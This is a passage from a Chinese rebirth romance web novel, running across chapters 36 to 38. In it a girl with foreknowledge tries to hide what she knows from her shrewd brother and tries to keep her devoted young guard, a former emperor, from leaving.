二哥被关进祠堂,每日傍晚送饭时才准人探望片刻功夫。乔姝月与四哥约好了酉时见面,便准备各自回院子。 临分别前,乔姝月没忍住问道:“四哥,那个命案的真凶,抓到了吗?” 乔誉目光无波,望了过来。 他的视线极有穿透性,锐利地审视,似乎要将人心看穿。 妹妹的眼睛里没有太多疑问,有的竟是“期盼”,她好像心里已然有了一个答案,开口问他,也只盼能从他这里确认她所思为真。 乔姝月禁不住他的打量,心虚地低下了头。 今生与四哥的交集变多,他护着她,帮她圆谎,替她遮掩,他那么好,叫她一时忘却,他前世是怎样一个有着一颗七窍玲珑心、又城府深沉的人。 有那么一瞬间,她有了想和盘托出的妄想。 四哥这般聪慧,若是如实道来,应当不会将她当做是疯子。 可乔姝月并不敢轻举妄动。 她手中的底牌是“对未来的预知”。 若是告知四哥十年后乔家会覆灭,以四哥的性子,定会在所有事连苗头都没有时,便将其连根拔起。 那样乔姝月所知的未来便不再是她可以预测的未来了。 多事之秋,易生变数。 幕后之人她并未打过交道,到底有多少仇人,她也并不清楚。 若是她动静太大,打草惊蛇,叫人察觉,那是否又会出现她难以预料又无法规避的灭门之祸? 她或许已经没有再重来一次的机会了,所以她不敢赌。 只敢沿着前世的轨迹,慢慢地前行。 不宜全部交代,也不可全然隐瞒,择其中关键之处稍加透露,应当还是可以的。 乔姝月仰起头,笑了笑,“没什么。” 正准备离开。 乔誉忽然开口:“官府办案,我如何知晓。” 乔姝月见他没疑心,松了口气,“也是,那四哥我先回了。” 她挥了挥手,往木兰院走,心里想着谢昭凌,步子越来越快。 乔誉目光沉沉,对着早已远去的背影,带着一丝不可置信地,轻声呢喃:“此事你应当才是最清楚的吧。” ** 吱扭一声。 西厢房门打开,一颗脑袋探了进来。 乔月偷偷摸摸地,用气声道:“阿凌哥哥,醒着呢吗?” 刚要睡着的谢昭凌:“……” 他忽又想起李成的话来—— “姑娘在你床上待了好一会。” 耳边响起关门的声音,谢昭凌红着耳朵,连忙又闭上双眼。 说不清为什么要装睡,总之他此刻不知该如何面对她。 她还那样小,那样纯粹,能有什么心思? 他不该因她一个举动、一句话而反复琢磨。 他越不坦荡,越不自在,就越说明他动了歪心思,那恰恰是对她的不尊重,是不该有的。 谢昭凌稳住情绪,放缓呼吸,假装自己正在熟睡。 只要他不回应,她应该也做不出什么惹人误会的…… 谢昭凌:“……” 他感觉自己的睫毛被人拨弄了两下?! 小姑娘做贼似的,蹑手蹑脚走到他身边,他竟然毫无察觉。 最近只要是她在身边,自己的心就乱得一塌糊涂。 好像是从她那句“喜欢”开始。 她只是把自己当个好看的玩物,他不可往龌龊的方向想。 是因为从无人能这般对他,所以他难免不适应,才会一再手足无措。 这不怪她,要怪自己心性不定。怪他出身市井,对男女之事司空见惯,眼脏心脏。 只要他刻苦磨炼身心,就一定能…… 谢昭凌:“……” 她怎么又把他的手拉起来了!! 谢昭凌默默吸了一口气,靠全身之力抵御她的侵扰。 乔姝月见他眉头微蹙,还以为自己把他吵醒了。 她捏着他的两根手指,僵在原地。放轻呼吸,小心翼翼地望着他。 见他半晌没有动静,才又继续。两手托着他的手掌,缓缓高举。 同时身子前倾。 将他的手缓慢地放到了自己的头上。 谢昭凌蓦得睁开眼睛,一下收回手,从榻上弹坐起身。 他收手的动作猝不及防,且力道不小。 乔姝月被他带得往前栽倒。 她人倒在他身前,手掌撑在被子上,茫然地睁着眼睛看他。 谢昭凌紧紧抿住双唇,别过头去,不着痕迹地高了被子,压抑道:“姑娘在作甚?” “啊……” 被发现啦。 乔姝月站直身体,手背在身后,不好意思地侧身向外,羞赧道:“摸摸头发呀。” 她被哥哥们也摸过头发,但那和他摸的感觉完全不一样。 昨晚没够,今天本想趁他睡着,再体会体会。谁知他竟然醒着。 叫人怪害臊的。 前世陛下也很爱摸她的头发,一般还会怜惜又充满爱意地望着她。 重生回来,她不能从他眼里看到怜惜看到爱意,那摸个头发总可以吧? 她实在太想念陛下了。 谢昭凌有些听不懂,“……摸头发?” 乔姝月眨了眨眼,目光单纯无辜,“你做过的事这就忘啦?” 谢昭凌回忆起昨晚种种,表情空白一瞬。 发烧果然不是什么好事! 他低头看向自己的手,同她道歉。 乔姝月不满:“为何要说对不起!” 谢昭凌声音很低:“我很脏。” 乔姝月恼了,“你不脏!” 她一边说,一边又恼怒地去拉他的手。 谢昭凌眼疾手快,将手背到身后,躲避了她的目光。 “我不该那样。”他说,“我不可以。” 小姑娘气得爬上了榻,要越过他去抓那只手,“那你做都做了!” “我糊涂。” “又不是坏事,怎能用糊涂二字来搪塞我?” 谢昭凌一阵恍惚,“不是坏事吗?” 他哪里配?他一个卑如尘埃,如蝼蚁一般的奴仆,凭何去触碰她尊贵的身体。 他怀疑自己的间隙,小姑娘自己攀了上来。 一场高烧令他的反应速度变得迟缓,身体的防御机能亦溃不成军。 她抓住他那条胳膊,拉到头顶,不容置疑地按了下去。 她气鼓鼓地瞪着双眼,威胁地看着他,控制着他的手掌在自己的脑袋上用力揉搓。 抱着他的胳膊,揉得自己左摇右晃亦不肯松手。 谢昭凌不敢反抗,生怕自己弄疼了她。只得忍着面颊的热意,垂下头任她支配自己的肢体。 “……” 等乔姝月再从床上爬下来,整个人心满意足,脸蛋红扑扑的,眉眼间皆是笑意,仿佛才饮下陈年佳酿般惬意。 “伺候得不错。”她骄傲得高昂下巴,“我很满意。” 占完便宜,一溜烟地跑走了。 门都忘了关。 谢昭凌怔怔望着空荡荡的门口,心里竟生出了失落的感觉。 他闷不做声,又躺了回去。 院子里忽然传来一声惊呼。 “姑娘!你这头发怎么乱糟糟的又跟鸡窝似的!”玉竹大惊失色,尖叫道,“你又去找二公子打架了?” 乔姝月:“……” “他都被禁足了,我怎么打架?” “不对,我又不是无赖哪能天天找人打架?” “你这是什么眼神?不相信我??昨儿那是气急了才——哎呀!不和你说了!” 小姑娘气急败坏地跑进屋。 谢昭凌沉默下来,翻身朝里。 半晌,唇边扬起弧度,竟是被可爱得低低笑出了声。 第37章 【37】 酉时刚过,乔誉来到了木兰院。 他和乔姝月约好一起去见二哥。 刘妈妈得知来意,笑着迎乔誉进门,只见乔姝月健步如飞地往外走。 乔誉停在院里,想起什么,往西厢方向看了一眼。 乔姝月注意到他的目光,险些左脚绊住右脚,她脸颊泛起一阵热意,催促:“四哥,莫要看了,快走吧。” 等会就过了探视的时间了。 乔誉诧异地挑眉,“怎么,闹别扭了?” 还有这种好事? 乔姝月摇头,只道:“快走快走。” 她红着脸闷头往外,心里想着,玉竹那些话谢昭凌肯定都听到了。 她是文静端庄的女孩子,昨夜当真只是气急了才动手,实际上她平日里都是以理服人的。 还有借人家手摸头这种事…… 后知后觉出羞赧来,她顶着一张比红果子颜色还艳丽的脸,再也不好意思往人家面前凑。 幸好他腿上有伤,出不了门,不然见着她这幅模样,指不定要如何笑话她。 兄妹俩一路无话,来到祠堂。 乔氏祠堂位于乔府东侧,和学堂毗邻,这院子只有夫子教书时才热闹些。 哦,还有乔良犯错后的那几日也是,每回都鸡飞狗跳的。 乔父虽严苛,但褚氏心软,好不容易才说服乔父,每日傍晚允许乔良放半个时辰的风,省得把人憋坏,脑子愈发不好使。 乔姝月算着时辰来,一进门,正好看到乔良揉着双膝,被小厮搀扶着,颤颤巍巍往院子里走。 二人对视,乔良膝盖一软,险些又跪下去,被小厮眼疾手快地捞住。 他只是中了迷药,并非失忆。前夜被小妹痛击的回忆还在,身体许多地方都仍疼着,现在都没好。 只见小姑娘抱着肩膀,下巴抬着,鼻子里发出一声愤愤的“哼”。 阴阳怪气道:“哟,这不是我们乔二少吗,怎么,这是酒又喝多了,腿都不利索了?” 前世乔良被诬入狱,在牢里待了两个月。他吃了不少苦头,等放出来后又被乔父狠狠打了一顿,腿都被打断了。 前世腿伤难愈的是二哥,今生却变成了她的陛下。 小姑娘翻了个白眼,打他旁边走了过去。 进了祠堂,先给祖先上香,而后又向长辈们叩首祈求,保佑乔家的安宁。 而后才面向乔良,仰着头,用鼻孔看他。 夹枪带棒地:“说说吧我的好二哥,天上是下金子雨了?让你拼了老命也要去。” 始终沉默的乔誉:“……” 感觉今日的小妹十分不好惹。 乔誉默不作声地,给乔良拉了个椅子,兄友弟恭地:“二哥,来坐着说吧。” 坐着承受小妹的拷问,省得等会又跪下了,叫下人看笑话,更加颜面无存。 乔良感动不已,在乔誉肩膀上重重拍了两下。 还是弟弟好。 众人落座,乔良颓唐地苦笑了声。 他跪了一天一夜,也算想明白了一些。 柳步亭还在禁足,根本就没出来,是有人故意放假消息引他出门,激起他的愤怒,要让他去闹事。 给他带来消息的人,是什么心思,便不难猜了。 “说来不怕你们笑话,二哥我……交友不慎。” 乔姝月冷笑了声,“二哥的朋友里又有几个好的?都是早就知道的事,现在谈何笑话。” 乔良哭丧着脸,低声下气:“月儿,二哥你打也打了,骂也骂了,这气可能消了?二哥不过是失了你的约,言而无信,可也唯这一次,你犯得上这么和二哥说话吗?” 乔姝月蓦地站起身,眼眶微红,“你可知你一人鲁莽,要全家人为你担忧?你可知你是怎么出来的?是谢昭凌撑着伤腿,将你从悦泉楼里背出来的!他当晚就病倒了,现在都还躺在床上!” 说来说去,她还是心疼谢昭凌。同时也痛恨自己,为何就放任谢昭凌用他的办法去处理问题。 她没想过他这样狠,连自己都不放过。宁愿逞强,也不愿辜负她的嘱托。 乔良被震在原地,每个字他都认得,可连成一句话他便听不懂了,他无助地望向四弟。 乔誉这才将昨日种种一五一十道来。 在得知是谢昭凌救了自己后,乔良久久不能回神。 在听闻悦泉楼那桩命案后,乔良更是后怕地脊背阵阵发凉。他虽然读书不多,脑子也一般,但并非全然是个蠢的。 他前脚被设计弄进了悦泉楼,后脚那里就发生了命案。 很难不去想是有人要对他做什么。 乔良抹了把额头上的冷汗,声音颤抖:“昨日我还未踏进悦泉楼的门,便在巷角被人打晕,后来醒过一次,隐约听到人骂了句‘怎么就醒了’,而后便被他们用迷药再度药昏。” 他咽了咽喉咙,害怕道:“再醒来,就回家了。” “如此说来,你没有骗父亲。”乔誉思忖道,“那么悦泉楼里发生了什么……” 乔誉目光直直望向乔姝月,“就只有谢昭凌一人知晓了,是不是?” 乔姝月心情沉重,“嗯。” 看着她的反应,乔誉知道她没说谎,心头稍稍安定。 乔良如受惊的兔子,蹿起来,叫道:“我怎敢对父亲说谎,活得不耐烦了?!” 他是当真什么都不知,也正因为难以察觉什么,才会轻易被人利用。 充其量只是隐瞒了要去复仇找茬这一件,他也只是想让罪罚轻一些才没敢提。谁知悦泉楼里发生了命案,他说与不说,都是不可饶恕的。 “我……我还带了武器去。”乔良从怀里掏出一把小刀,后怕道,“还好没掉出来,不然若是丢在悦泉楼里,我有嘴也说不清了。” 乔誉闭了闭眼,太阳穴突突跳了两下。 乔姝月:“这么小的刀,你要去给柳步亭削果皮吗?” 乔良一惊:“你怎么知道我是去找柳步亭?!” 乔誉也把目光投了过来。 乔姝月像看傻子一样看他一眼,“你难道还结了许多仇家吗?” 乔良:“……” 他心虚地偏移目光,挠了挠头,他不知道啊。 乔姝月小手握成拳头,抵在唇边,垂着眼睛,喃喃道:“悦泉楼的守卫不承认见过二哥,是因为大嫂派了护院去要人,若他们承认二哥在里头,就不得不交人了。” 交出乔梁,陷害之事自然无法做成,所以他们肯定不能说见过。 幸亏当时她去找大嫂寻求了帮助。 小姑娘陷入沉思,“酒楼原只想打发走前来寻人的,他们不知阿凌哥哥偷偷把二哥带走了,二哥只要咬死说自己没有进去过,便不会牵扯进去,毕竟没有证据证明二哥去过。酒楼若是推翻自己的口供,大理寺一定会更加怀疑。” 这其间若缺少任意一环,二哥都不能洗脱嫌疑。如今这般,是最好的局面。 “所以大理寺没有传唤你,父亲也只是让你罚跪而已。” 若真与命案扯上瓜葛,二哥的下场只怕和上辈子一样了。 这回再听到小妹念叨“阿凌哥哥”,两位兄长对视一眼,谁都没再发怒。 乔良心有戚戚,问道:“那我这是没事了?” 乔誉默不作声,望向妹妹的目光带着沉甸甸的思量与审视。 乔姝月想了想,说道:“二哥只需谨记,你是在街上被人打昏,再在家中醒来,免去中间你醒过的事就好。” “好好,这都是事实,我能记住!”乔良犹豫道,“那谢护卫那边……” “他听我的话。” 乔良:“……” 说得好像谁不听话一样,乔良尴尬地清了清嗓子。 即便心里吃味,可他再也不敢嚼谢昭凌的舌根,毕竟人家千辛万苦把他从狼窝里救出来。 “那、那替我谢谢……谢谢他。”乔良别别扭扭地偏过头,站起身,“不早了,你们回吧,我要悔过自新去了。” 乔姝月走出门去,忽然回身,“对了二哥,等你罚期过去,记得来同我好好聊聊你那位‘朋友’。” “……好。” 乔誉和乔姝月一前一后出了祠堂。 乔姝月想起来学堂的事,扭头问道:“四哥,表叔身子好了吗?” 乔誉看着脚下的石路,心不在焉地“嗯”了声,“后日便可去听学。” “后日?那好像就只有你和芊芊能去。” 乔誉闻言瞥她一眼,“你要等到谢昭凌伤好?” 乔姝月眨了眨眼,无辜地歪了下头,抿唇笑笑,“怎么能说等呢,我的病也还没好呀。” “病没好还跑来兴师问罪?” 乔姝月目光躲闪,含糊道:“这不是心里着急嘛。” 乔誉也不是第一天见到妹妹护着那臭小子了,这一日又一日的,他竟然已经习惯了。 “那我隔几日便把功课送到你院子来,免得回头落下功课又要被夫子训斥。” 想到一贯温和但对功课异常严厉的表叔,乔姝月连连点头。 “对了四哥,回头整理一下你启蒙的书籍,都借我可好?” 乔誉步子猛地顿住,深吸了口气,眸光漆黑,幽幽望她,“给谢昭凌?” 小姑娘不好意思地低下头,扯了扯自己的裙子,“是呀,你读的书多,所以我想让他多学一点。” 乔誉静默半晌,咬着牙道:“行啊。” 倒要看看那男的能学到些什么本事,还能强过他不成?! 两人一同走到了乔四的院子门口,乔姝月摆摆手告别,意欲继续向前。 后衣领忽然被人拽住。 乔姝月脖子卡住,叫了一声,“四哥!” 乔誉从她身后俯身,在她耳畔,压低了声:“你好像从一开始就知道些什么。” 乔姝月顿时浑身起了鸡皮疙瘩,汗毛竖立! 她目露惊恐,不敢回头,“四哥在说什么?月儿不懂。” 乔誉盯着她的侧脸,轻声道:“你方才讲给二哥的话,都直指一点,你知道二哥万万不可留在酒楼,你知他会被人栽赃?” “我不知道!” 乔誉笑了,“大哥和父亲都没人提过有栽赃一事,我只是随口一提罢了。” 小妹没有对“栽赃”一事发问,反而急着为自己反驳。她是默认了“栽赃”一事为真。 千方百计想要撇清二哥与悦泉楼的关系,也只是因为那地方发生了命案,传出去于名声上不好。 听说凶手和死者躺在一处,被官府的人当场抓获,毫无辩驳的余地。 真凶归案,即便是二哥查出来和悦泉楼有什么关系,那也是其他类似寻仇、嫖妓、或是赌钱这类事,万万和人命官司扯不上关系。 以现有线索与实情来看,绝无可能发生栽赃之事,真凶在场,还要扯上旁人,那何其荒唐。 可乔誉偏偏凭着直觉诈了出来。 按小妹的反应推算,也许这世事就是这般荒唐。 那莫须有的罪名,或许就会安在他的亲人头上。 而更荒唐的是,她真的什么都清楚。 这算什么?未卜先知吗? 乔誉定定看她半晌,直起身,不再逼她。抬手轻拍了拍她的头,没多说,转身进了院子。 “……” 乔姝月火急火燎地跑到西厢房。 她一把推开门,冲到少年床边,六神无主,“完了完了,四哥好像都猜到了!!” 谢昭凌拉过被子,将自己的身体盖了严实,无奈地看着她,“猜到什么?” 乔姝月在榻前走来走去,像热锅上的蚂蚁,“猜到我早知这一切。” 她一紧张就忍不住咬嘴唇,“他在诈我,我好笨,怎么就被他一下诈出来了!” 乔誉此人太过敏锐。 当初在悦泉楼外初遇谢昭凌那会,她原本计划救人,谁曾想半路杀出个四哥来,当时她就知道那事做不成了。所以那会每每对上四哥,她心里都存着小心,害怕自己不够谨慎,满盘皆输。 但凡表现出一点异样,都能被四哥抽丝剥茧,挖出真相。 怪她最近和四哥走得太近了,导致她警惕心变弱,一时疏忽,都忘了乔誉前世是个忍辱负重,暗中蛰伏,宁愿背负骂名多年也不露面,只为给柳家一击重创、再无翻身机会的狠人。 谢昭凌倒不觉得乔誉知道这事有多可怕,他知道与否又能如何?还能去乔家长辈面前告发吗? 他肯定不能,能看得出来,他其实很在乎家人,自然不会害小菩萨。 谢昭凌问道:“他不相信你做预知梦吗?” “我没说过,”乔姝月不确定道,“他应该不会信吧?” 四哥不信神佛,更相信世事都是人在作祟。 谢昭凌抿了下唇,小声问:“所以这个也是我们之间的秘密吗?” “嗯。” 谢昭凌没再言语,别过头去。 “罢了,他戳穿时再说吧,他若不提,我不必自乱阵脚。” 乔姝月揉了揉脸,在旁边的木椅上坐下。 她看着谢昭凌微微发红的脸,担忧道:“还没退烧吗?” “……退了。”少年声音一顿,从被子里拿出一个汤婆子来,“有些热。” “吴大夫说热敷能缓解疼痛,”乔姝月神情认真,“他没在诓我吧?” 谢昭凌摇了摇头。 确实没有先前疼了,尤其想到这个是她亲手放进来的。 乔姝月又问起在悦泉楼发生的事,谢昭凌如实道来。他免去一些细节,只道是送信时正巧撞见乔良在,便顺道将他带了回来。 至于真凶,也是他怕有纰漏,干脆把真凶绑了起来,顺手扔到现场去了。 至于他如何将人带进的悦泉楼,又是如何找到命案发生的房间,他一概没提。 乔姝月见他不愿提起,便也不再多问。总归他平安归来,就是好的。 “阿凌哥哥,你不听话了。” 谢昭凌耳根发麻,有些慌乱:“那你……” 小姑娘叹了声,愁眉苦脸地,幽怨看他一眼,摇摇头,转身走了。 谢昭凌愣住,手紧抓被子,要将被子掀开,追下床去。 没等他动作,房门关闭。 他挺直的背脊慢慢垮了下去。 踏进院中,乔姝月装出来的愁怨慢慢散去。 眼底漫上化不开的哀伤。 “紫棉。” “姑娘。” “你去将那个叫魏二的小厮带来,悄悄的。” “……” 暮色渐浓,乌燕自月下飞过。 满天繁星。 乔姝月趴在院中石桌上。 魏二全都说了,与她的猜测相差无几。 魏二以为他们在外头赚外快的事败露,以为她要责难,还壮着胆子为谢昭凌求情。 他也有了会为他说话的朋友,她该感到欣慰和开心。 可她实在高兴不起来。 他在偷偷存银子,为的是什么,她心知肚明—— 为了还她那五十两银子。 从踏进乔府那日他就说过,一定会还。 她的陛下不轻易许诺,但言出必践,说过还就不会赖账。也许在他心中,这还是头等大事。 乔姝月不由得多想,他这么着急还钱,是不是做了还清欠款后就远走高飞的打算?是不是现在就迫不及待想要离开了? 那日她对他说,定会让他心甘情愿地留在身边,不过是夸下海口。她并无底气,也无自信能留住他。 不过是能拖一日是一日罢了。 她总想着,待他再好一些,或许他就舍不得走了。 若还清欠款,他坚持要走…… 乔姝月抱住脑袋,埋在臂弯里。 一阵晚风拂过,将她垂在石凳旁的红裙吹动。 身侧忽然有人落座。 裙摆擦过那人的脚踝,让人身体微僵。 而后一只瘦弱修长的手,缓缓落在女孩的头顶。 狂风骤起。 红色裙摆与少年褐色宽松的裤腿厮守纠缠,贴在一处,难分彼此。 落在头顶的那只手,温柔地揉了揉。 半晌,小姑娘慢慢抬头。 一双杏眼含水带雾,眼睫犹有泪痕。 她含着泪珠,笑了一下,“你这是在作甚?” 谢昭凌望之便心生不忍,心脏痉挛般抽动了一下。 他低下头,茫然道:“听她们说你闷闷不乐。” 她似乎很喜欢被人摸头,会很开心,所以他就想试试看能不能让她心情好起来。 看起来毫无作用,因为她虽在笑,但眼泪仍然不断地往下落,叫人看着便心慌意乱。 “不嫌自己脏了?” 她心里有气,故意为难他。 谢昭凌脱口而出道:“我,我洗过手了。” 洗了好几遍。 不知她是否被自己弄哭,踌躇片刻,到底没移开手,在她脑袋上又揉了两下。 乔姝月愣了下,气笑了,“你还真嫌弃自己。” “我不喜欢有皂角味的,”她猛地摆头,把他的手甩掉,“谁准你出门的,回房去。” 谢昭凌局促地收回手,失落不已,站起身,“……是。” 他慢吞吞地走出两步,不放心地回头看,正对上小姑娘专注的目光。 她眼里又尽是他看不懂的情绪。 谢昭凌无端生出一股烦躁来,偏偏内心的火气无法宣泄。 她直勾勾地望着他,忽然问道:“还清那五十两后,你会离开吗?” 谢昭凌怔了瞬,抿起唇,静静回视。 小姑娘慢慢直起身,走到他面前,仰着他,“你存多少了?” 谢昭凌目光躲闪,“只有二两银子。” 这个月没有月银,近来还因为养伤不能出去做事,所以他存得并不算多。要不是悦泉楼那一趟,他就只有一两多点。 乔姝月一颗心往下沉。 来到乔家月余就存下二两银子,那等他痊愈,银子赚得更快,岂不是待上一年半载就要离开了? 那怎么行。 乔姝月换上一副霸道模样,较劲儿道:“你要是决定走,那钱我就不会收。” 只要她不收,他就欠着她,就不能离开。 谢昭凌沉默片刻,“你也说过,乔府拦不住我。” 所以不管她是否收钱,他都有法子留下钱后,悄无声息地离开。 乔姝月:“……” 四目相对。 她嚣张倔强的样子再难维持。 秀眉折出伤心的形状,瞪大的杏眼中逐渐漫上一层水雾,嘴角向下弯。 谢昭凌隐约听见开始有抽泣声响起。 他惊慌失措,想要去摸她的头,又忆起才刚被她拒绝的窘迫,不知该如何是好,手僵停在空中,进退两难。 “月姑娘,我——” 他后悔方才的出言不逊,低下头,就要跪下请罪。 小姑娘眼圈含着热泪,强忍着没让泪滴掉下来,一把搀住他的手臂,不让他作践自己的双腿。 她挨得太近,人又正好到他胸口,从外看来,像是被他抱在怀里似得。 谢昭凌蓦地绷紧身子,为难地看了一眼她手握着的地方,浑身都不自在。 被她触碰的那条手臂有烧伤的疤痕,隔着衣裳,她应当摸不到,不会被吓到。 他分神时,只听她恶狠狠地质问: “你存的银子呢?空口无凭,拿出来瞧瞧!” 小姑娘委屈巴巴,横他一眼,“让我也长长见识,看看外头赚的银子长什么样。” 还能是什么样,银子不都是一个样? 谢昭凌一头雾水,听话地从怀里掏出一个布袋,那里装着他的全部家当。 乔姝月松开他的手臂,掂了掂分量,“都在这?分文没有了?” 谢昭凌摇头,“没有了。” 小姑娘点头说了声“行”,将布袋揣进自己的怀里,“这算你孝敬我的。” “现在你一文没有了,从头再赚吧。” 乔土匪抹了一把眼泪。 拍拍屁股走了。 谢昭凌:“……” 第38章 【38】 关于悦泉楼命案的后续,乔姝月略有耳闻。 命案现场发现了昏迷不醒的柳助教,以及他给叶宰辅家小孙女写的情诗,上头是他的亲笔,还有他的手印,即便他矢口否认,称自己并不清楚,但证据确凿,不容他抵赖。 大理寺抓到了人,顺着线索查了半个多月,终于集齐了全部的证据,将柳助教定罪。 叶家虽按下家丑,不愿声张,但西京城中权贵圈里素来藏不住秘密,知人情不在少数,一度将此事当做茶余饭后的笑柄。 叶家和柳家的梁子算是结下了,于乔姝月而言算是意外收获。 因为她记得叶家内部有个叛徒可是向着柳家的,经此一事,叶家明面上和柳家不对付,那位叛徒在叶家的日子怕是愈发难熬了吧。 想起那个叛徒,乔姝月提笔写信,让李成送去了国子监,询问三哥何时归家。半日后得到回信,三哥说八月十五中秋会回来。 三哥一心向学,每月的旬假他都不离开国子监,孜孜不倦,废寝忘食。唯有逢年过节,才能同他见上一面。 乔姝月叹了口气,抱起四哥带来的功课,和送给谢昭凌的启蒙书,一路朝西厢跑去。 …… 日子一晃,到了八月中。 乔姝月的病彻底痊愈,而谢昭凌的伤也养得差不得了。 他如今下床走路已看不出异样,只要不是太大的负重,都不必太过担忧。 乔姝月本想让谢昭凌再多休养几日,褚氏却说什么都不肯让她一个人出门。 “不然就从你二哥院中调几名护卫,万一再在街上遇到歹人可如何是好?”褚氏想了想还是不放心,“不然还是差下人去吧,娘实在不放心。” “那还是让谢护卫陪着我吧。”乔姝月哭笑不得,抱着褚氏的手臂摇晃,“女儿在家中憋了两个月,都要闷死了。今儿是思蓁邀女儿出去,为的也不是买什么东西,只是想一块逛逛,说说话。” 小姑娘软声撒着娇:“明日就要上学堂了,到时候每日听完课后,还要做夫子留下的功课,哪有时间再去玩呀?今日正好,放我出去看看吧。” “只你二人?” “还有林尚书之女,林韵。” “吏部林尚书吗?”褚氏竟不知吏部家的和自家女儿成了朋友,诧异道,“我记得林尚书家的公子同你三哥是同窗。” “是啊是啊,林家阿娘总是放心的吧?我只和好孩子在一处玩耍,阿娘放心吧。上回是我落单才被人欺负,这回她们也都带了护卫出门,大家聚在一处,不会有事的。” 褚氏还是心里不舍,叹道:“要不是今日要清铺子里的账,娘就陪你去了。” “那怎么行?思蓁也没有叫陆夫人啊,我自然也不能带上阿娘。” 褚氏面带愁云,无可奈何之际,目光落在角落里的少年。 这少年自伤好后,便好好地履行着自己的职责,凡是乔姝月所在之处,必定能在几丈之内见到他的身影。 乔姝月同旁人说话,他就隐匿了身形,藏在暗处,若非仔细搜寻,当真很难察觉到他的存在。 这已经不是普通护卫的水平,就算去王府做个暗卫也不无不可。 不过褚氏不会觉得少年来给女儿做护卫是大材小用,毕竟她女儿的安危比那些王公贵族可重要多了,她只满意于自己的眼光,更庆幸当初及时将人留下。 可惜这少年仍是自由身,未曾与乔府签订卖身契,若是能终身都在乔家当差,那就好了。 每次一同谢昭凌提起签身契一事,他还未出声,乔姝月便先跳出来说不签。 说什么这是她新想出来的御人之策,要在谢昭凌身上尝试尝试。说生契死契都不签,就靠她的手腕让降服下属。 她一个小孩子,能有什么手腕。 次数多了,褚氏也懒得再提,总归是女儿院里的人,就让她自己管着吧,好在少年看着诚心臣服,也没闹出什么幺蛾子,褚氏便暂且放了心。 “谢护卫。” 少年悄无声息从暗影里走出,一声不吭,站了出来。 褚氏道:“出门在外,护好姑娘,若出任何差错,唯你是问。” “是。” “阿娘,那我就走啦!” 乔姝月挥挥手,带着她的护卫出了门。 踏出褚氏的院子,勉强还算端庄。 等越过府门,踏上马车,驶出街巷,再无旁人。 小姑娘欢呼了一声,坐在马车里,人趴在车窗旁,兴奋地抖了抖两只脚。 她不小心踢到谢昭凌的脚,谢昭凌垂着眼睛,目光落在她的鞋上,一动不动,宛如一座雕像。 “这外头的空气都比木兰院的好闻呐。” 她兴奋地蹬腿,闭着眼睛,享受着徐徐微风。 “中秋快到了,咱们买点什么给大家当节礼呢?” 褚氏逢年过节都会给府上的人发放赏钱,数目不等,都是考量过每人平日里的表现,依照劳动所得而额外发放的。 各个院子也都有样学样,底下人办事更卖力,主子用人也更放心。 玉竹斜了对面的少年一眼,意味深长道:“姑娘你还有银子吗?上回新开了个果子铺,都没法去尝,说是囊中羞涩,这回哪儿还有银子备节礼啊。” 话音落,少年倏地抬眸,看了玉竹一眼。 玉竹扬起下巴,挑衅地回视。 时至今日,她还是心疼那五十两银子。她当初是五两买回来的,凭什么谢护卫就要五十两?虽然谢护卫的本事是大了点,但五十两也太多了。 乔姝月缩回头,正巧对上少年冷淡的目光。 她愣了下,尴尬地挠了下脸颊。 她想起来先前从谢昭凌那抢来的银子,怕对方误会自己动那部分的银钱,讨好地笑了笑。 看似是在给玉竹解释,实则也是对着谢昭凌说:“你们放心,这钱的来处我自有法子,别人的钱咱肯定不能动不是?我靠自己的脑袋赚银子,不犯国法。” 玉竹一头雾水,嘟囔了句,“怎的还扯上国法了。” 听不懂,一个字都听不懂。 马车停下,到首饰铺了。 玉竹先下马车,去外面做准备。 乔姝月紧随其后,就坐在最外侧的少年替她撩起轿帘,她停了下,对他小声说道:“你的银子我都存着呢,不花。” 谢昭凌:“……” 他垂下眼睫,“既是给了姑娘,便任凭姑娘处置。” 他如今愈发有个臣服者的样子,这叫乔姝月心底生出些新鲜的感觉来。 前世身为九五之尊的谢昭凌,可从未这么低三下四过,虽然他也对她有求必应,但到底不一样,那会是宠着她,而此刻是全心全意只听命于她。 若他今生还做那人上人,不知和前世能有几分区别? 乔姝月笑着钻出马车,谢昭凌定身半晌,才从她那个笑容里回过神,也跟了下去。 三个小姑娘顺利于首饰铺聚首。 乔姝月来得最晚,她进铺子时,店中已被人清场。 陆思蓁正同林韵说笑,听到动静回头,见到乔姝月时,眼中都亮起了星星。 陆思蓁上下打量,嘴里不住发出“啧啧”的感慨声。 “今日还特意打扮了?”陆思蓁佯装嫉妒,嗔了她一眼,“怎么,一听说和林姑娘见面,就这般用心?只见新人笑,不闻旧人哭,现在有了林姑娘这个新朋友,就不在乎我这个旧朋友了。” 谢昭凌守在门口,闻言回头,偷偷又看了乔姝月一眼。 方才在马车上,他没敢多看,此刻却可以肆无忌惮地看向她。 小姑娘身穿绯红色缎裙,裙上绣着牡丹,衬得容颜娇艳无双。她养了两个月的病,原先肉嘟嘟的胳膊反而纤细了不少,整个人长高了一点,如柳枝抽条,每一日都在变化。 在木兰院里,每日低头不见抬头见,他不觉得有什么。 如今经人一提,再去回忆初遇时的她,才惊觉她身上的变化。 谢昭凌不想惹人注目,但又实在挪不开目光,只能藏身于门板后,奢望地注视着那抹耀眼夺目的光亮。 众人在看着乔姝月时,她也在看林韵。 前世她与这位林姑娘毫无交集,连认识都不曾。毕竟林韵十岁被二皇子看上后便入了宫,及笄后没多久就过世了。 今生能相识,实在是令人意想不到。 林韵与她同岁,但或许因为身子比她还差的缘故,身量竟比她要小上半头,骨架也小,人又瘦,看着像比她小上两岁的妹妹。 乔姝月不由得放轻了声音,弯着眼睛,同她说起话来。 三个小姑娘叽叽喳喳凑在一处,各自的婢女侍候在一旁。 谢昭凌背靠着门板,心不在焉地听着。 陆思蓁惊呼了声,“这个适合你,中秋家宴上就戴这个,准保惊艳一众姐妹!” 林韵怯怯地,不太自信:“真的好看吗?” 乔姝月应和:“让人见之便为你神魂颠倒,男子见了走不动路,女子见了嫉妒你到发疯,快戴上试试吧!” 谢昭凌:“……?” 他偏过头,抿着唇笑了下。 再抬眸,面前不远处站了个人。那人摇着折扇,似笑非笑,看着他这边。 谢昭凌面上的笑意敛起,手摸向了腰间的匕首。 “……” 说服林韵买下发钗后,乔姝月不经意间转身,习惯性地寻找谢昭凌的身影。 方才还见少年立于门后,此刻他却不见了。 乔姝月皱了下眉,叫来玉竹低语:“谢护卫人呢?” 玉竹茫然摇头。 乔姝月走到门口,见到李成正无聊地蹲在地上摆石子,她问谢昭凌人呢,李成也摇头,“我方才一低头的功夫,他就没影了。” 